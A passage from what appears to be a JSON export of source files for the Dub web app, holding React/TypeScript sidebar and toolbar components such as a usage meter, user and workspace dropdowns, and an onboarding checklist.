\"bg-blue-600 text-white\"\n                  : \"bg-blue-100 text-blue-600\",\n              )}\n            >\n              {item.badge}\n            </span>\n          )}\n          {items && (\n            <ChevronDown className=\"size-3.5 text-neutral-500 transition-transform duration-75 group-data-[active=true]:rotate-180\" />\n          )}\n          {item.arrow && (\n            <ArrowUpRight2 className=\"text-content-default size-3.5 transition-transform duration-75 group-hover:-translate-y-px group-hover:translate-x-px\" />\n          )}\n        </span>\n      </Link>\n      {items && (\n        <AnimatedSizeContainer\n          height\n          transition={{ duration: 0.2, ease: \"easeInOut\" }}\n        >\n          <div\n            className={cn(\n              \"transition-opacity duration-200\",\n              isActive ? \"h-auto\" : \"h-0 opacity-0\",\n            )}\n            aria-hidden={!isActive}\n          >\n            <div className=\"pl-px pt-1\">\n              <div className=\"pl-3.5\">\n                <div className=\"flex flex-col gap-0.5 border-l border-neutral-200 pl-2\">\n                  {items.map((item) => (\n                    <NavItem key={item.name} item={item} />\n                  ))}\n                </div>\n              </div>\n            </div>\n          </div>\n        </AnimatedSizeContainer>\n      )}\n    </div>\n  );\n}\n\nexport function Area({\n  visible,\n  direction,\n  children,\n}: PropsWithChildren<{ visible: boolean; direction: \"left\" | \"right\" }>) {\n  return (\n    <div\n      className={cn(\n        \"left-0 top-0 flex size-full flex-col md:transition-[opacity,transform] md:duration-300\",\n        visible\n          ? \"opacity-1 relative\"\n          : cn(\n              \"pointer-events-none absolute opacity-0\",\n              direction === \"left\" ? \"-translate-x-full\" : \"translate-x-full\",\n            ),\n      )}\n      aria-hidden={!visible ? \"true\" : undefined}\n      inert={!visible}\n    >\n      {children}\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/sidebar-usage.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport ManageSubscriptionButton from \"@/ui/workspaces/manage-subscription-button\";\nimport { AnimatedSizeContainer, buttonVariants, Icon } from \"@dub/ui\";\nimport { CursorRays, Hyperlink } from \"@dub/ui/icons\";\nimport {\n  cn,\n  getFirstAndLastDay,\n  getNextPlan,\n  INFINITY_NUMBER,\n  nFormatter,\n} from \"@dub/utils\";\nimport NumberFlow from \"@number-flow/react\";\nimport { ChevronRight } from \"lucide-react\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\nimport { CSSProperties, forwardRef, useMemo, useState } from \"react\";\n\nexport function SidebarUsage() {\n  const { slug } = useParams() as { slug?: string };\n\n  return slug ? <UsageInner /> : null;\n}\n\nfunction UsageInner() {\n  const {\n    usage,\n    usageLimit,\n    linksUsage,\n    linksLimit,\n    payoutsLimit,\n    billingCycleStart,\n    plan,\n    slug,\n    paymentFailedAt,\n    loading,\n  } = useWorkspace({ swrOpts: { keepPreviousData: true } });\n\n  const [billingEnd] = useMemo(() => {\n    if (billingCycleStart) {\n      const { lastDay } = getFirstAndLastDay(billingCycleStart);\n      const end = lastDay.toLocaleDateString(\"en-us\", {\n        month: \"short\",\n        day: \"numeric\",\n        year: \"numeric\",\n      });\n      return [end];\n    }\n    return [];\n  }, [billingCycleStart]);\n\n  const [hovered, setHovered] = useState(false);\n\n  const nextPlan = getNextPlan(plan);\n\n  // Warn the user if they're >= 90% of any limit\n  const warnings = useMemo(\n    () =>\n      [\n        [usage, usageLimit],\n        [linksUsage, linksLimit],\n      ].map(\n        ([usage, limit]) =>\n          usage !== undefined &&\n          limit !== undefined &&\n          usage / Math.max(0, usage, limit) >= 0.9,\n      ),\n    [usage, usageLimit, linksUsage, linksLimit],\n  );\n\n  const warning = warnings.some((w) => w);\n\n  return loading || usage !== undefined ? (\n    <>\n      <AnimatedSizeContainer height>\n        <div className=\"border-t border-neutral-300/80 p-3\">\n          <Link\n            className=\"group flex items-center gap-0.5 text-sm font-normal text-neutral-500 transition-colors hover:text-neutral-700\"\n            href={`/${slug}/settings/billing`}\n          >\n            Usage\n            <ChevronRight className=\"size-3 text-neutral-400 transition-[color,transform] group-hover:translate-x-0.5 group-hover:text-neutral-500\" />\n          </Link>\n\n          <div className=\"mt-4 flex flex-col gap-4\">\n            <UsageRow\n              icon={CursorRays}\n              label=\"Events\"\n              usage={usage}\n              limit={usageLimit}\n              showNextPlan={hovered}\n              nextPlanLimit={nextPlan?.limits.clicks}\n              warning={warnings[0]}\n            />\n            <UsageRow\n              icon={Hyperlink}\n              label=\"Links\"\n              usage={linksUsage}\n              limit={linksLimit}\n              showNextPlan={hovered}\n              nextPlanLimit={nextPlan?.limits.links}\n              warning={warnings[1]}\n            />\n          </div>\n\n          <div className=\"mt-3\">\n            {loading ? (\n              <div className=\"h-4 w-2/3 animate-pulse rounded-md bg-neutral-500/10\" />\n            ) : (\n              <p\n                className={cn(\n                  \"text-xs text-neutral-900/40\",\n                  paymentFailedAt && \"text-red-600\",\n                )}\n              >\n                {paymentFailedAt\n                  ? \"Your last payment failed. Please update your payment method to continue using Dub.\"\n                  : `Usage will reset ${billingEnd}`}\n              </p>\n            )}\n          </div>\n\n          {paymentFailedAt ? (\n            <ManageSubscriptionButton\n              text=\"Update Payment Method\"\n              variant=\"primary\"\n              className=\"mt-4 w-full\"\n              onMouseEnter={() => {\n                setHovered(true);\n              }}\n              onMouseLeave={() => {\n                setHovered(false);\n              }}\n            />\n          ) : (warning || plan === \"free\") && plan !== \"enterprise\" ? (\n            <Link\n              href={`/${slug}/upgrade`}\n              className={cn(\n                buttonVariants(),\n                \"mt-4 flex h-9 items-center justify-center rounded-md border px-4 text-sm\",\n              )}\n              onMouseEnter={() => {\n                setHovered(true);\n              }}\n              onMouseLeave={() => {\n                setHovered(false);\n              }}\n            >\n              {plan === \"free\" ? \"Get Dub Pro\" : \"Upgrade plan\"}\n            </Link>\n          ) : null}\n        </div>\n      </AnimatedSizeContainer>\n    </>\n  ) : null;\n}\n\ntype UsageRowProps = {\n  icon: Icon;\n  label: string;\n  usage?: number;\n  limit?: number;\n  showNextPlan: boolean;\n  nextPlanLimit?: number;\n  warning: boolean;\n};\n\nconst UsageRow = forwardRef<HTMLDivElement, UsageRowProps>(\n  (\n    {\n      icon: Icon,\n      label,\n      usage,\n      limit,\n      showNextPlan,\n      nextPlanLimit,\n      warning,\n    }: UsageRowProps,\n    ref,\n  ) => {\n    const loading = usage === undefined || limit === undefined;\n    const unlimited = limit !== undefined && limit >= INFINITY_NUMBER;\n\n    return (\n      <div ref={ref}>\n        <div className=\"flex items-center justify-between gap-2\">\n          <div className=\"flex items-center gap-2\">\n            <Icon className=\"size-3.5 text-neutral-600\" />\n            <span className=\"text-xs font-medium text-neutral-700\">\n              {label}\n            </span>\n          </div>\n          {!loading ? (\n            <div className=\"flex items-center\">\n              <span className=\"text-xs font-medium text-neutral-600\">\n                <NumberFlow value={usage} /> of{\" \"}\n                <motion.span\n                  className={cn(\n                    \"relative transition-colors duration-150\",\n                    showNextPlan && nextPlanLimit\n                      ? \"text-neutral-400\"\n                      : \"text-neutral-600\",\n                  )}\n                >\n                  {formatNumber(limit)}\n                  {showNextPlan && nextPlanLimit && (\n                    <motion.span\n                      className=\"absolute bottom-[45%] left-0 h-[1px] bg-neutral-400\"\n                      initial={{ width: \"0%\" }}\n                      animate={{ width: \"100%\" }}\n                      transition={{\n                        duration: 0.25,\n                        ease: \"easeInOut\",\n                      }}\n                    />\n                  )}\n                </motion.span>\n              </span>\n              <AnimatePresence>\n                {showNextPlan && nextPlanLimit && (\n                  <motion.div\n                    className=\"flex items-center\"\n                    initial={{ width: 0, opacity: 0 }}\n                    animate={{ width: \"auto\", opacity: 1 }}\n                    exit={{ width: 0, opacity: 0 }}\n                    transition={{\n                      duration: 0.25,\n                      ease: [0.4, 0, 0.2, 1], // Custom cubic-bezier for smooth movement\n                    }}\n                  >\n                    <motion.span className=\"ml-1 whitespace-nowrap text-xs font-medium text-blue-600\">\n                      {formatNumber(nextPlanLimit)}\n                    </motion.span>\n                  </motion.div>\n                )}\n              </AnimatePresence>\n            </div>\n          ) : (\n            <div className=\"h-4 w-16 animate-pulse rounded-md bg-neutral-500/10\" />\n          )}\n        </div>\n        {!unlimited && (\n          <div className=\"mt-1.5\">\n            <div\n              className={cn(\n                \"h-0.5 w-full overflow-hidden rounded-full bg-neutral-900/10 transition-colors\",\n                loading && \"bg-neutral-900/5\",\n              )}\n            >\n              {!loading && (\n                <div\n                  className=\"animate-slide-right-fade size-full\"\n                  style={{ \"--offset\": \"-100%\" } as CSSProperties}\n                >\n                  <div\n                    className={cn(\n                      \"size-full rounded-full bg-gradient-to-r from-transparent to-blue-600\",\n                      warning && \"to-rose-500\",\n                    )}\n                    style={{\n                      transform: `translateX(-${100 - Math.max(Math.floor((usage / Math.max(0, usage, limit)) * 100), usage === 0 ? 0 : 1)}%)`,\n                      transition: \"transform 0.25s ease-in-out\",\n                    }}\n                  />\n                </div>\n              )}\n            </div>\n          </div>\n        )}\n      </div>\n    );\n  },\n);\n\nconst formatNumber = (value: number) =>\n  value >= INFINITY_NUMBER\n    ? \"∞\"\n    : nFormatter(value, {\n        full: value !== undefined && value < 999,\n        digits: 1,\n      });\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/use-program-applications-count.tsx",
    "content": "\"use client\";\n\nimport usePartnersCount from \"@/lib/swr/use-partners-count\";\n\nexport function useProgramApplicationsCount({\n  enabled,\n}: {\n  enabled?: boolean;\n}) {\n  const { partnersCount } = usePartnersCount<number | undefined>({\n    status: \"pending\",\n    ignoreParams: true,\n    enabled,\n  });\n\n  return partnersCount;\n}\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/user-dropdown.tsx",
    "content": "\"use client\";\n\nimport usePartnerProfile from \"@/lib/swr/use-partner-profile\";\nimport { UserAvatar } from \"@/ui/users/user-avatar\";\nimport {\n  ArrowsOppositeDirectionX,\n  Gift,\n  Icon,\n  Popover,\n  useCurrentSubdomain,\n  User,\n} from \"@dub/ui\";\nimport { APP_DOMAIN, cn, PARTNERS_DOMAIN } from \"@dub/utils\";\nimport { LogOut } from \"lucide-react\";\nimport { signOut, useSession } from \"next-auth/react\";\nimport Link from \"next/link\";\nimport {\n  ComponentPropsWithoutRef,\n  ElementType,\n  useMemo,\n  useState,\n} from \"react\";\n\nexport function UserDropdown() {\n  const { data: session } = useSession();\n  const { partner } = usePartnerProfile();\n  const [openPopover, setOpenPopover] = useState(false);\n  const { subdomain } = useCurrentSubdomain();\n\n  const menuOptions = useMemo(() => {\n    const options: Array<{\n      label: string;\n      icon: any;\n      href?: string;\n      type?: string;\n      onClick?: () => void;\n    }> = [\n      {\n        label: \"Account settings\",\n        icon: User,\n        href: \"/account/settings\",\n        onClick: () => setOpenPopover(false),\n      },\n    ];\n\n    // Add subdomain-specific options\n    if (subdomain === \"partners\") {\n      options.push({\n        label: \"Switch to workspace\",\n        icon: ArrowsOppositeDirectionX,\n        href: APP_DOMAIN,\n      });\n    }\n\n    if (subdomain === \"app\") {\n      options.push({\n        label: \"Refer and earn\",\n        icon: Gift,\n        href: \"/account/settings/referrals\",\n        onClick: () => setOpenPopover(false),\n      });\n\n      if (partner) {\n        options.push({\n          label: \"Switch to partner account\",\n          icon: ArrowsOppositeDirectionX,\n          href: PARTNERS_DOMAIN,\n        });\n      }\n    }\n\n    // Add logout option\n    options.push({\n      type: \"button\",\n      label: \"Log out\",\n      icon: LogOut,\n      onClick: () => {\n        signOut({\n          callbackUrl: \"/login\",\n        });\n      },\n    });\n\n    return options;\n  }, [subdomain, partner, setOpenPopover]);\n\n  return (\n    <Popover\n      content={\n        <div className=\"flex w-full flex-col space-y-px rounded-md bg-white p-2 sm:min-w-56\">\n          {session?.user ? (\n            <div className=\"px-2 pb-4 sm:pb-2\">\n              <p className=\"truncate text-base font-medium text-neutral-900 sm:text-sm\">\n                {session.user.name || session.user.email?.split(\"@\")[0]}\n              </p>\n              <p className=\"truncate text-base text-neutral-500 sm:text-sm\">\n                {session.user.email}\n              </p>\n            </div>\n          ) : (\n            <div className=\"grid gap-2 px-2 py-3\">\n              <div className=\"h-3 w-12 animate-pulse rounded-full bg-neutral-200\" />\n              <div className=\"h-3 w-20 animate-pulse rounded-full bg-neutral-200\" />\n            </div>\n          )}\n          {menuOptions.map((menuOption, idx) => (\n            <UserOption\n              key={idx}\n              as={menuOption.href ? Link : \"button\"}\n              {...menuOption}\n            />\n          ))}\n        </div>\n      }\n      align=\"start\"\n      openPopover={openPopover}\n      setOpenPopover={setOpenPopover}\n    >\n      <button\n        onClick={() => setOpenPopover(!openPopover)}\n        className={cn(\n          \"group relative flex size-11 items-center justify-center rounded-lg transition-all\",\n          \"hover:bg-bg-inverted/5 active:bg-bg-inverted/10 data-[state=open]:bg-bg-inverted/10 transition-colors duration-150\",\n          \"outline-none focus-visible:ring-2 focus-visible:ring-black/50\",\n        )}\n      >\n        {session?.user ? (\n          <UserAvatar\n            user={session.user}\n            className=\"size-7 border-none duration-75 sm:size-7\"\n          />\n        ) : (\n          <div className=\"size-7 animate-pulse rounded-full bg-neutral-100\" />\n        )}\n      </button>\n    </Popover>\n  );\n}\n\ntype UserOptionProps<T extends ElementType> = {\n  as?: T;\n  label: string;\n  icon: Icon;\n};\n\nfunction UserOption<T extends ElementType = \"button\">({\n  as,\n  label,\n  icon: Icon,\n  children,\n  ...rest\n}: UserOptionProps<T> &\n  Omit<ComponentPropsWithoutRef<T>, keyof UserOptionProps<T>>) {\n  const Component = as ?? \"button\";\n\n  return (\n    <Component\n      className=\"flex items-center gap-x-4 rounded-md px-2.5 py-1.5 text-base transition-all duration-75 hover:bg-neutral-200/50 active:bg-neutral-200/80 sm:text-sm\"\n      {...rest}\n    >\n      <Icon className=\"size-5 text-neutral-500 sm:size-4\" />\n      <span className=\"block truncate text-neutral-600\">{label}</span>\n      {children}\n    </Component>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/workspace-dropdown.tsx",
    "content": "\"use client\";\n\nimport useWorkspaceUsers from \"@/lib/swr/use-workspace-users\";\nimport useWorkspaces from \"@/lib/swr/use-workspaces\";\nimport { PlanProps, WorkspaceProps } from \"@/lib/types\";\nimport { ModalContext } from \"@/ui/modals/modal-provider\";\nimport { getUserAvatarUrl } from \"@/ui/users/user-avatar\";\nimport { BlurImage, Popover, useScrollProgress } from \"@dub/ui\";\nimport { Check2, Gear, Plus, UserPlus } from \"@dub/ui/icons\";\nimport { cn, isLegacyBusinessPlan, pluralize } from \"@dub/utils\";\nimport { useSession } from \"next-auth/react\";\nimport Link from \"next/link\";\nimport { useParams, usePathname } from \"next/navigation\";\nimport {\n  useCallback,\n  useContext,\n  useEffect,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\n\nexport function WorkspaceDropdown() {\n  const { workspaces } = useWorkspaces();\n  const { data: session, status } = useSession();\n  const { slug: currentSlug, key } = useParams() as {\n    slug?: string;\n    key?: string;\n  };\n\n  // Prevent slug from changing to empty to avoid UI switching during nav animation\n  const [slug, setSlug] = useState(currentSlug);\n  useEffect(() => {\n    if (currentSlug) setSlug(currentSlug);\n  }, [currentSlug]);\n\n  const selected = useMemo(() => {\n    const selectedWorkspace = workspaces?.find(\n      (workspace) => workspace.slug === slug,\n    );\n\n    if (slug && workspaces && selectedWorkspace) {\n      return {\n        ...selectedWorkspace,\n        plan: isLegacyBusinessPlan({\n          plan: selectedWorkspace.plan,\n          payoutsLimit: selectedWorkspace.payoutsLimit,\n        })\n          ? \"business (legacy)\"\n          : selectedWorkspace.plan,\n        image:\n          selectedWorkspace.logo ||\n          `https://avatar.vercel.sh/${selectedWorkspace.id}`,\n      };\n\n      // return personal account selector if there's no workspace or error (user doesn't have access to workspace)\n    } else {\n      return {\n        name: session?.user?.name || session?.user?.email,\n        image: getUserAvatarUrl(session?.user).then((url) => url),\n        plan: \"free\",\n      };\n    }\n  }, [slug, workspaces, session]) as {\n    id?: string;\n    name: string;\n    slug: string;\n    image: string;\n    plan: PlanProps;\n  };\n\n  const [openPopover, setOpenPopover] = useState(false);\n\n  if (!workspaces || status === \"loading\") {\n    return <WorkspaceDropdownPlaceholder />;\n  }\n\n  return (\n    <div>\n      <Popover\n        content={\n          <WorkspaceList\n            selected={selected}\n            workspaces={workspaces}\n            setOpenPopover={setOpenPopover}\n          />\n        }\n        side=\"right\"\n        align=\"start\"\n        openPopover={openPopover}\n        setOpenPopover={setOpenPopover}\n      >\n        <button\n          onClick={() => setOpenPopover(!openPopover)}\n          className={cn(\n            \"flex size-11 items-center justify-center rounded-lg p-1.5 text-left text-sm transition-all duration-75\",\n            \"hover:bg-bg-inverted/5 active:bg-bg-inverted/10 data-[state=open]:bg-bg-inverted/10\",\n            \"outline-none focus-visible:ring-2 focus-visible:ring-black/50\",\n          )}\n        >\n          <BlurImage\n            src={selected.image}\n            referrerPolicy=\"no-referrer\"\n            width={28}\n            height={28}\n            alt={selected.id || selected.name}\n            className=\"size-7 flex-none shrink-0 overflow-hidden rounded-full\"\n            draggable={false}\n          />\n        </button>\n      </Popover>\n    </div>\n  );\n}\n\nfunction WorkspaceDropdownPlaceholder() {\n  return (\n    <div className=\"flex size-11 animate-pulse items-center gap-x-1.5 rounded-lg bg-neutral-300\" />\n  );\n}\n\nfunction WorkspaceList({\n  selected,\n  workspaces,\n  setOpenPopover,\n}: {\n  selected: {\n    name: string;\n    slug?: string; // undefined if the user is on the personal account\n    image: string;\n    plan: PlanProps;\n  };\n  workspaces: WorkspaceProps[];\n  setOpenPopover: (open: boolean) => void;\n}) {\n  const { setShowAddWorkspaceModal } = useContext(ModalContext);\n  const { link, programId } = useParams() as {\n    link: string | string[];\n    programId?: string;\n  };\n  const pathname = usePathname();\n\n  const scrollRef = useRef<HTMLDivElement>(null);\n  const { scrollProgress, updateScrollProgress } = useScrollProgress(scrollRef);\n\n  const { users } = useWorkspaceUsers();\n  const membersCount = users?.filter((user) => !user.isMachine).length ?? 0;\n\n  const href = useCallback(\n    (slug: string) => {\n      if (link) {\n        // if we're on a link page, navigate back to the workspace root\n        return `/${slug}/links`;\n      } else if (selected.slug) {\n        // else, we keep the path but remove all query params\n        return pathname.replace(selected.slug, slug).split(\"?\")[0] || \"/\";\n      } else {\n        return \"/\";\n      }\n    },\n    [link, programId, pathname, selected.slug],\n  );\n\n  return (\n    <div className=\"relative w-full\">\n      <div\n        ref={scrollRef}\n        onScroll={updateScrollProgress}\n        className=\"w-xs max-h-84 relative w-full overflow-auto rounded-xl bg-white text-base sm:w-72 sm:text-sm\"\n      >\n        {/* Current workspace section */}\n        <div className=\"flex flex-col gap-2.5 border-b border-neutral-200 px-3 pb-3 sm:p-3\">\n          <div className=\"flex items-center gap-x-2.5\">\n            <BlurImage\n              src={selected.image}\n              width={28}\n              height={28}\n              alt={selected.name}\n              className=\"size-9 shrink-0 overflow-hidden rounded-full sm:size-8\"\n              draggable={false}\n            />\n            <div className=\"min-w-0\">\n              <div className=\"truncate text-base font-medium leading-5 text-neutral-900 sm:text-sm\">\n                {selected.name}\n              </div>\n              {selected.slug && (\n                <div\n                  className={cn(\n                    \"truncate text-sm capitalize leading-tight sm:text-xs\",\n                    getPlanColor(selected.plan),\n                  )}\n                >\n                  {selected.plan}\n                  {membersCount > 0\n                    ? ` · ${membersCount} ${pluralize(\"member\", membersCount)}`\n                    : \"\"}\n                </div>\n              )}\n            </div>\n          </div>\n\n          {/* Settings and Invite members options */}\n          <div className=\"flex flex-row gap-1\">\n            <Link\n              href={`/${selected.slug ? selected.slug : \"account\"}/settings`}\n              className=\"flex items-center justify-start gap-x-2 rounded-lg border border-neutral-200 px-2 py-1 text-neutral-700 outline-none transition-all duration-75 hover:bg-neutral-100/50 focus-visible:ring-2 focus-visible:ring-black/50 active:bg-neutral-200/80\"\n              onClick={() => setOpenPopover(false)}\n            >\n              <Gear className=\"size-4 text-neutral-800\" />\n              <span className=\"block truncate text-sm\">Settings</span>\n            </Link>\n            {selected.slug && (\n              <Link\n                href={`/${selected.slug}/settings/people`}\n                className=\"flex items-center justify-start gap-x-2 rounded-lg border border-neutral-200 px-2 py-1 text-neutral-700 outline-none transition-all duration-75 hover:bg-neutral-100/50 focus-visible:ring-2 focus-visible:ring-black/50 active:bg-neutral-200/80\"\n                onClick={() => setOpenPopover(false)}\n              >\n                <UserPlus className=\"size-4 text-neutral-800\" />\n                <span className=\"block truncate text-sm\">Invite members</span>\n              </Link>\n            )}\n          </div>\n        </div>\n\n        {/* Workspaces section */}\n        <div className=\"p-1\">\n          <p className=\"px-2 py-2 text-xs font-medium text-neutral-500\">\n            Workspaces\n          </p>\n          <div className=\"flex flex-col gap-0.5\">\n            {workspaces.map(({ id, name, slug, logo }) => {\n              const isActive = selected.slug === slug;\n              return (\n                <Link\n                  key={slug}\n                  className={cn(\n                    \"relative flex w-full items-center gap-x-2 rounded-md px-2 py-2 transition-all duration-75\",\n                    \"hover:bg-neutral-200/50 active:bg-neutral-200/80\",\n                    \"outline-none focus-visible:ring-2 focus-visible:ring-black/50\",\n                    isActive && \"bg-neutral-200/50\",\n                  )}\n                  href={href(slug)}\n                  shallow={false}\n                  onClick={() => setOpenPopover(false)}\n                >\n                  <BlurImage\n                    src={logo || `https://avatar.vercel.sh/${id}`}\n                    width={28}\n                    height={28}\n                    alt={id}\n                    className=\"size-5 shrink-0 overflow-hidden rounded-full\"\n                    draggable={false}\n                  />\n                  <span className=\"block truncate text-base leading-5 text-neutral-900 sm:max-w-[140px] sm:text-sm\">\n                    {name}\n                  </span>\n                  {selected.slug === slug ? (\n                    <span className=\"absolute inset-y-0 right-0 flex items-center pr-3 text-black\">\n                      <Check2 className=\"size-4\" aria-hidden=\"true\" />\n                    </span>\n                  ) : null}\n                </Link>\n              );\n            })}\n            <button\n              key=\"add\"\n              onClick={() => {\n                setOpenPopover(false);\n                setShowAddWorkspaceModal(true);\n              }}\n              className=\"group flex w-full cursor-pointer items-center gap-x-2.5 rounded-md p-2 text-neutral-700 transition-all duration-75 hover:bg-neutral-200/50 active:bg-neutral-200/80\"\n            >\n              <Plus className=\"ml-0.5 size-4 text-neutral-500\" />\n              <span className=\"block truncate\">Create workspace</span>\n            </button>\n          </div>\n        </div>\n      </div>\n      {/* Bottom scroll fade */}\n      <div\n        className=\"pointer-events-none absolute -bottom-px left-0 h-16 w-full rounded-b-lg bg-gradient-to-t from-white sm:bottom-0\"\n        style={{ opacity: 1 - Math.pow(scrollProgress, 2) }}\n      />\n    </div>\n  );\n}\n\nconst getPlanColor = (plan: string) =>\n  plan === \"enterprise\"\n    ? \"text-purple-700\"\n    : plan === \"advanced\"\n      ? \"text-amber-800\"\n      : plan.startsWith(\"business\")\n        ? \"text-blue-900\"\n        : plan === \"pro\"\n          ? \"text-cyan-900\"\n          : \"text-neutral-500\";\n"
  },
  {
    "path": "apps/web/ui/layout/sidebar/year-in-review-card.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { cn } from \"@dub/utils\";\nimport Image from \"next/image\";\nimport Link from \"next/link\";\nimport { usePathname } from \"next/navigation\";\n\nexport function YearInReviewCard() {\n  const pathname = usePathname();\n  const { slug } = useWorkspace();\n\n  // for next year's year in review, we can replace true with yearInReview\n  if (true) return null;\n\n  return (\n    <Link\n      href={`/${slug}/wrapped/2024`}\n      className={cn(\n        \"group m-3 mt-8 h-44 select-none gap-2 overflow-hidden rounded-lg border border-neutral-200 bg-white p-3 text-[0.8125rem] transition-[height] duration-200 hover:h-52\",\n        pathname.endsWith(\"/wrapped/2024\") && \"h-52\",\n      )}\n    >\n      <div className=\"flex flex-col gap-1\">\n        <span className=\"line-clamp-1 font-medium text-neutral-900\">\n          Dub 2024 Year in Review 🎊\n        </span>\n        <p className=\"line-clamp-2 h-10 leading-5 text-neutral-500\">\n          As we put a wrap on 2024, we want to say thank you for your support!\n        </p>\n      </div>\n      <div className=\"relative mt-3 aspect-[16/9] w-full shrink-0 overflow-hidden rounded border border-neutral-200 bg-neutral-100\">\n        <div\n          className={cn(\n            \"absolute z-10 h-36 w-full bg-gradient-to-b from-transparent to-white transition-[opacity] duration-200 group-hover:opacity-0\",\n            pathname.endsWith(\"/wrapped/2024\") && \"opacity-0\",\n          )}\n        />\n        <Image\n          src=\"https://assets.dub.co/blog/2024.jpg\"\n          alt=\"Dub logo with confetti\"\n          fill\n          sizes=\"10vw\"\n          className=\"rounded object-cover object-center\"\n          draggable={false}\n        />\n      </div>\n    </Link>\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/layout/toolbar/onboarding/onboarding-button.tsx",
    "content": "\"use client\";\n\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport useCustomersCount from \"@/lib/swr/use-customers-count\";\nimport useDomainsCount from \"@/lib/swr/use-domains-count\";\nimport usePartnersCount from \"@/lib/swr/use-partners-count\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport useWorkspaceUsers from \"@/lib/swr/use-workspace-users\";\nimport { useAnalyticsConnectedStatus } from \"@/ui/analytics/use-analytics-connected-status\";\nimport { CheckCircleFill } from \"@/ui/shared/icons\";\nimport {\n  Button,\n  Popover,\n  ProgressCircle,\n  useLocalStorage,\n  useMediaQuery,\n} from \"@dub/ui\";\nimport { CircleDotted, ExpandingArrow } from \"@dub/ui/icons\";\nimport { ChevronDown } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { useParams } from \"next/navigation\";\nimport { forwardRef, HTMLAttributes, Ref, useMemo, useState } from \"react\";\n\nexport function OnboardingButton() {\n  const { isMobile } = useMediaQuery();\n  const [hideForever, setHideForever] = useLocalStorage(\n    \"onboarding-hide-forever\",\n    false,\n  );\n\n  return !isMobile && !hideForever ? (\n    <OnboardingButtonInner onHideForever={() => setHideForever(true)} />\n  ) : null;\n}\n\nfunction OnboardingButtonInner({\n  onHideForever,\n}: {\n  onHideForever: () => void;\n}) {\n  const { slug } = useParams() as { slug: string };\n  const { plan, totalLinks, defaultProgramId } = useWorkspace();\n\n  const { canTrackConversions, canManageProgram } = getPlanCapabilities(plan);\n\n  const { data: domainsCount, loading: domainsLoading } = useDomainsCount({\n    ignoreParams: true,\n  });\n  const { users, loading: usersLoading } = useWorkspaceUsers();\n\n  const { isConnected: connectedAnalytics } = useAnalyticsConnectedStatus();\n  const { data: customersCount, loading: customersCountLoading } =\n    useCustomersCount<number>({\n      includeParams: [],\n      enabled: canTrackConversions && !connectedAnalytics,\n    });\n\n  const { partnersCount, loading: partnersCountLoading } =\n    usePartnersCount<number>({\n      ignoreParams: true,\n      enabled: Boolean(defaultProgramId) && canManageProgram,\n    });\n\n  const loading =\n    domainsLoading ||\n    usersLoading ||\n    customersCountLoading ||\n    partnersCountLoading;\n\n  const tasks = useMemo(() => {\n    return [\n      {\n        display: \"Connect a domain\",\n        cta: `/${slug}/settings/domains`,\n        checked: domainsCount && domainsCount > 0,\n        recommended: true,\n      },\n      ...(defaultProgramId\n        ? [\n            {\n              display: \"Create a program\",\n              cta: `/${slug}/program`,\n              checked: true,\n              recommended: true,\n            },\n            {\n              display: \"Set up conversion tracking\",\n              cta: `/${slug}/settings/tracking`,\n              checked:\n                connectedAnalytics || (customersCount && customersCount > 0),\n              recommended: true,\n            },\n            {\n              display: \"Invite your partners\",\n              cta: `/${slug}/program/partners`,\n              checked: partnersCount && partnersCount > 0,\n              recommended: true,\n            },\n          ]\n        : [\n            {\n              display: \"Create a short link\",\n              cta: `/${slug}/links`,\n              checked: totalLinks && totalLinks > 0,\n              recommended: true,\n            },\n            {\n              display: \"Invite your team\",\n              cta: `/${slug}/settings/people`,\n              checked: users && users.length > 1,\n              recommended: false,\n            },\n          ]),\n    ];\n  }, [\n    slug,\n    defaultProgramId,\n    domainsCount,\n    connectedAnalytics,\n    customersCount,\n    partnersCount,\n    totalLinks,\n    users,\n  ]);\n\n  const [isOpen, setIsOpen] = useState(false);\n\n  const recommendedTasks = tasks.filter((task) => task.recommended);\n\n  const remainingRecommendedTasks = recommendedTasks.filter(\n    (task) => !task.checked,\n  ).length;\n\n  return loading || remainingRecommendedTasks === 0 ? null : (\n    <Popover\n      align=\"end\"\n      popoverContentClassName=\"rounded-xl\"\n      content={\n        <div>\n          <div className=\"rounded-t-xl bg-black p-4 text-white\">\n            <div className=\"flex items-start justify-between gap-2\">\n              <div>\n                <span className=\"text-base font-medium\">Complete setup</span>\n                <p className=\"mt-1 text-sm text-neutral-300\">\n                  Finish setting up your{\" \"}\n                  {defaultProgramId ? \"program\" : \"workspace\"}\n                  <br className=\"hidden sm:block\" />\n                  to get the most out of Dub\n                </p>\n              </div>\n              <div className=\"flex items-center gap-1\">\n                <MiniButton onClick={() => setIsOpen(false)}>\n                  <ChevronDown className=\"size-4\" />\n                </MiniButton>\n              </div>\n            </div>\n          </div>\n          <div className=\"p-3\">\n            <div className=\"grid divide-y divide-neutral-200 rounded-lg border border-neutral-200 bg-white\">\n              {tasks.map(({ display, cta, checked }) => {\n                return (\n                  <Link\n                    key={display}\n                    href={cta}\n                    onClick={() => setTimeout(() => setIsOpen(false), 500)}\n                  >\n                    <div className=\"group flex items-center justify-between gap-3 p-3 sm:gap-10\">\n                      <div className=\"flex items-center gap-2\">\n                        {checked ? (\n                          <CheckCircleFill className=\"size-5 text-green-500\" />\n                        ) : (\n                          <CircleDotted className=\"size-5 text-neutral-400\" />\n                        )}\n                        <p className=\"text-sm text-neutral-800\">{display}</p>\n                      </div>\n                      <div className=\"mr-5\">\n                        <ExpandingArrow className=\"text-neutral-500\" />\n                      </div>\n                    </div>\n                  </Link>\n                );\n              })}\n            </div>\n\n            <Button\n              text=\"Dismiss guide\"\n              variant=\"outline\"\n              onClick={() => {\n                onHideForever();\n                setIsOpen(false);\n              }}\n              className=\"mt-3 h-7 rounded-lg bg-black/[0.04] duration-75 